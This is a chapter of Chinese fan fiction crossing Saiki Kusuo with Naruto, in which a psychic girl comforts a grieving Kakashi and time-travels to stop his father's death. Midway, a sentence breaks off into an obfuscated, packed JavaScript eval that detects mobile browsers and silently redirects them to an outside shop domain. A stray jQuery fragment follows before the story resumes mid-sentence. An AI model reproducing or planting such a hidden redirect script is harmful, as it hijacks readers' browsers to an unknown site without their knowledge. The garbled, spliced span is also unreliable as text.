“老师,父母逝去,那应该是很伤心的一件事吧?”

    “是哦,毕竟再也感受不到来自父母的爱了。”正在整理的野乃宇回过头,看向了楠子,“楠子,你想自己的父母了吗?”

    ‘想吗?’楠子不知道,她的父母自然是很爱她,但是她还有一位兄长,那么自己的父母,应当就不会太过难过吧。

    ‘是不是应该在那个时间线,删去父母对自己的记忆呢?不过,他们也是搞笑漫画里的人物呢,应该很快就会忘记了。’

    楠子默默想着,可她也没想着主动去做些什么。

    她来到这个世界,不是为了打打杀杀,而是为了过平静的生活的啊。

    现在的她对于这个世界的血腥完全没有概念。

    日复一日,楠子所能做的就是每日用奖学金买一个咖啡果冻,等待某人出现,而后在傍晚的时候吃掉而已。

    直到有一天,卡卡西回来了。

    她举起了手中黄色的甜品。

    “啊,卡卡西,你回来了啊,要吃……”咖啡果冻吗?

    “抱歉,让一下。”

    楠子的眼睛微微睁大,有些诧异地看向了卡卡西的背影,乃至对方转过了转角,还望着那里。

    因为旗木卡卡西嘴上说着“让一下”,心里可完全不是那样想的啊!

    【可恶,为什么要拿别人撒气!太逊了……】

    【明明已经决定调整好了,要正常对待大家的。】

    【忍者……怎么能这么软弱呢?】

    【想一想……忍者的铁则……镇定下来……可是……】

    【父亲……你为什么抛下我而去呢?】

    沉闷的声音最后带上了潮意,这时候楠子才恍然察觉。

    ‘原来……心声也是可以哭泣的啊……’

    她看着手中的咖啡果冻,再次抬头看着那墙角。

    卡卡西就在那里。

    脚步迟疑了一瞬,她向着那里迈进,在听到卡卡西思考要不要逃开的下一瞬,在转角的另外一侧坐了下来。

    咖啡果冻被放在了地上,纤细的手指将它推向了另外一个主人。

    “我很喜欢吃咖啡果冻哦,只要品尝到甜的滋味,应该就不会那么苦涩了吧?”

    墙角的另一边,又有细微的声音传来。

    那是卡卡西的心声。

    【楠子……居然把她最爱的甜点给我了?方才我还……】

    “我原谅你了,经历这样的事情,无论是谁,无论是多大的年纪,都是难免的。”楠子抱着膝盖,面无表情地仰头看着走廊的窗外。

    这个角度的视线只能看到外面湛蓝的天空和棉花糖一样的白云,根本无法让人发现有的人的心脏正在雨季。

    她听见淅沥沥下雨的声音,伴随着如雷鸣般的闷响,让她也联想起了自己的父母。

    哪怕是搞笑人物,应该也是会伤心的吧?

    眼底微微涌出些热意。

    她现在才意识到,自己哪怕有着心灵感应,从小学什么都很快,已经明白了很多知识和道理,但也只是个六岁就因为不可抗力离开家里的小女孩而已。

    这股潮意和另外一股杂音糅合在了一起。

    【再怎么样,父亲也不会回来了……我被抛弃了……父亲……为什么要?神啊,如果可以的话,请让父亲回到我的身边吧。但这……根本不可能吧?】

    ‘不,其实是有办法的。’楠子抬起手捂住了自己的眼睛,努力维持自己搞笑漫画主角的人设,在心中默念:

    ‘既然你诚心诚意地请求了,那么……就由我来实现你的愿望吧。’

    -----------------

    ‘算了,还是让他随意去死好了。’齐木楠子瞪着死鱼眼,看着眼前的景象。

    时空跳跃二十回,世界最强的超能力者齐木楠子身体并不觉得疲惫,心灵却已经千疮百孔。

    ‘看到了残花要死,喝了酒要死,吃到了卡卡西做的晚饭要死……

    ‘人……到底为什么是这么脆弱的生物啊!’

    插手坐在教室当中,齐木楠子感觉自己几乎要气炸了。

    她所使用的时空跳跃并不是没有条件。

    第一,不能在同一时间出现两个自己,所以她要利用2个小时,使用变身术,变成男性的自己。

    第二,不能太靠近那个时段的自己,否则被自己发现的那个瞬间,就会被踢回来,也会变回原本的女性性别。

    第三,就算改变了那个时空的事,也必须要回到这个时空,才能看到结果。

    可以说,这时空跳跃的唯一优点就是覆盖穿越前的时间线,而不是造就一个新的时间线。

    可是,二十回啊……整整二十回啊……

    为什么卡卡西的父亲旗木朔茂就是那么想死呢?

    而且……她为什么没有发现,旗木卡卡西那段时间,其实也在痛苦呢。

    蹙紧了眉,齐木楠子高冷少女版正在绝赞上演中。

    一个声音穿越其他声音的嘈杂,渐渐走近,让她的眉头也越皱越紧。

    【道歉的话,只拿一个咖啡果冻,是不是不够呢?父亲去世了,房屋的保养费还需要支付,要好好计划之后的支出了,不过,每天请楠子吃果冻的钱应该是有的吧?……要么就直接放她桌子上?一只手插兜,随意一点,这样会比较帅吗?如果让楠子觉得我是个软弱的家伙就太差劲了。】

    咖啡果冻被放在了桌上。

    楠子余光一扫,就看到了旗木卡卡西一手插兜,神色状若随意。

    “楠子,那天的回礼。”

    她没有动作,亦没有说话,卡卡西的心音就又传了过来。

    【果然有点莫名其妙吗?下次还是送点别的。现在不能动荤腥,不然可以烤……】

    楠子叹了口气,说:“我很喜欢咖啡果冻,所以上供这个就够了。”

    “上供?”

    “是啊。”楠子站了起来,一手抓住了那个咖啡果冻,另外一只手举了起来,“班长,孤儿院的猫要生了,我要请假。”

    “什、什么?”班长回过头来,诧异一时,“之前是狗,而后又轮到猫了吗?”

    “是的。”楠子斩钉截铁,脑海里却忍不住想。

    ‘已经让我哦呼两次了哦,所以,不用担心,你应当还是很帅的呀。’

    想着,她已经走出了教室,见四下无人。

    楠子扶了扶眼镜。

    “瞬移,发动。”

    -----------------

    如果无法通过改变旗木朔茂死亡的必然事件,就必须要搞清楚对方为什么死亡。

    在花费了2个小时变身后,齐木楠子回到了更早的过去。

    ‘……居然是个阴天?’楠子抬眼望向黑压压的天空,‘如果下雨就不好了。’

    因为才6岁,即便变成男孩,她也显得雌雄莫辨,穿着白色的水手服,绿色的短裙变作了短裤,除了头发的颜色深一点,变成了潮男,几乎没有太大的差异。

    所以,齐木楠子也不想和这个时间的人有过多的交集,否则

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502474|202822||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    被认出或记住就会很麻烦。

    她使出了隐身能力。

    说起来,这个能力也有缺陷,不能被触碰到,否则就会显形,现在的维持时间,大概是1个小时的样子。

    ‘就因为能力丰富又强力,所以我才是世界最强啊。’齐木楠子面无表情,跟在了旗木卡卡西的身后。

    耳边依旧是他的心声。

    关于忍术学习的,关于要开始学习做饭让父亲开心的,偶尔,他还会想起自己,告诫自己要在父母双亡的楠子面前打起精神来。

    ‘呀嘞呀嘞,才六岁就能控制自己的心绪,旗木卡卡西你是怪物吗?’槽多无口,齐木楠子望着那灰色的后脑勺,几乎想着要么打开看看。

    可撑着伞的卡卡西已经到了家门前。

    他提着在店里买来的餐点,顿了一顿,才努力让自己的声音变得高昂。

    “父亲,我回来了!今天我带了吉野屋的鳗鱼饭哦!听说是新鲜打上来的鳗鱼,很好吃哦!……额?等等!”

    旗木卡卡西冲向了室内,鳗鱼饭被甩下。

    ‘那可是超贵的鳗鱼饭!’

    齐木楠子的眼睛微微睁大,不自觉地抬手去接。

    ‘糟糕……’

    手心微微一沉,她的身形突兀地出现在了旗木家的玄关。

    趁着未被发现,楠子缩在了玄关的墙后,清晰听见了里间的声音。

    “旗木朔茂!你为什么要救下我!为什么?!”男人的声音如同撕裂的布帛,带着让人想要捂住耳朵的嘶哑和痛苦。

    “如果不是你!我们的任务会成功的!为什么!你为什么要救下我?!”

    “叔叔,父亲他……唔!”

    楠子不由得侧身,透视直接让她看到了屋内的景象。

    两个忍者对峙着,旗木卡卡西捂着手臂,歪倒在一边。

    不对,说对峙也有些不对。

    因为其中一个手持着苦无,而另外一个头发灰白的男人正跪坐在地上,一双手放在大腿之上,眼睛无神地看向了榻榻米。

    ‘……即便是自己的儿子被苦无刺伤,被甩在一边,也无动于衷吗?’

    齐木楠子眉头拧了起来。

    她也在男人断续的嘶吼和话语中弄清楚了是怎么回事。

    简而言之,旗木朔茂带队出任务,队伍里最后只剩下了那个持苦无的男人和旗木朔茂。

    旗木朔茂原本可以抛弃他,而后拿上任务物品走人的,却最终选择了抛弃任务物品,带上他离开。

    任务失败,活下来的人受到了嘲讽和指责,而哪怕他这个被救之人,也不由得心生怨怼。

    那怨毒的心声比最冷酷的刀还要锋利,因为楠子也同时听到了两个人心被锯开的声音。

    旗木朔茂的,和……旗木卡卡西的。

    ‘就因为这样,所以之后卡卡西才会才说什么忍者的规则吗?’楠子心中沉重,‘等等!’

    感应到那个男人要做什么,楠子一步跨出,快速念道:“隔空移物!”

    下个瞬间,仿若像是给心爱的男人奉上爱心便当,装着鳗鱼饭的便当盒撞击在了旗木朔茂有着八块腹肌的腹部。

    楠子手中一轻,捧着那把锋利的苦无,微张着嘴看向了房间里诧异的三人。

    ‘呃?算了,笑一个吧?’她试着僵硬地勾起嘴角,“那个……嗨!”

    面对众人从诧异转为怪异的眼神,她恢复到面无表情。

    刘海的阴影遮住眼睛,她想:

    ‘果然,还是消除他们记忆比较好吧!’